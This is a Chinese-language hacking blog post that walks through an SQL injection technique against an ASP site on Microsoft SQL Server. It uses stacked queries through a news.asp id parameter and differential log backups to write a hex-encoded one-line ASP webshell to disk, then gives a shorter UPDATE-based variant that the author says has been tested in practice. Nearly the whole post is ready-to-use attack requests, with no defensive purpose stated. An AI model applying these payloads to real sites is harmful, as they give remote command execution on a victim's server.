 |
|
 |
PortWatcher's Blog
Monday, 2025-06-30, 11:41 AM Welcome Guest
BlogMain » 2010 » February » 14 » 另类差异备份(无建表)
|
现在我们大部分同志备份拿WEBSHELL都是使用工具,下面来看看我们经常使用的方法 第 一 步: http://192.168.0.2/news.asp?id=1;create table [dbo].[shit_tmp] ([cmd] [image])-- 第 二 步 http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate-- 第 三 步 http://192.168.0.2/news.asp?id=1;insert into [shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)-- 第 四 步 http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate-- 第 五 步 http://192.168.0.2/news.asp?id=1;Drop table [shit_tmp]-- 第一步建表,第二步备份之前的数据,相当于下一个断点,第三步插入数据,第四步再次差异备份,得到WEBSHELL第五步,删除表 先来分析一下这种方法,差异备份其实备份的并不是数据,而是备份对表操作的SQL语句,比方说上面这个方法他备分得到的小马来源并不是来源于数据,而是来源于第三步的语句,第三步中呢重点又在于后面的小马,并不在于方法,所以我也就想到了在利用UPDATE来代替INSERT 得用update的好处在于省略了第一步和第五步,坏处在于,你需要找一张表来代替新建的表, 第 一 步 http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate-- 第 二 步 http://192.168.0.2/news.asp?id=1;update tablename set col1=(0x3C25657865637574652872657175657374282261222929253E) where id=1-- 第 三 步 http://192.168.0.2/news.asp?id=1;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x64003A005C003100320033002E00610073007000 backup log @a to disk=@s with init,no_truncate-- 得用update在实际情况中测试已经通过
|
Category: 技术文章 |
Views: 661 |
Added by: Jury
| Rating: 0.0/0 |
|
 |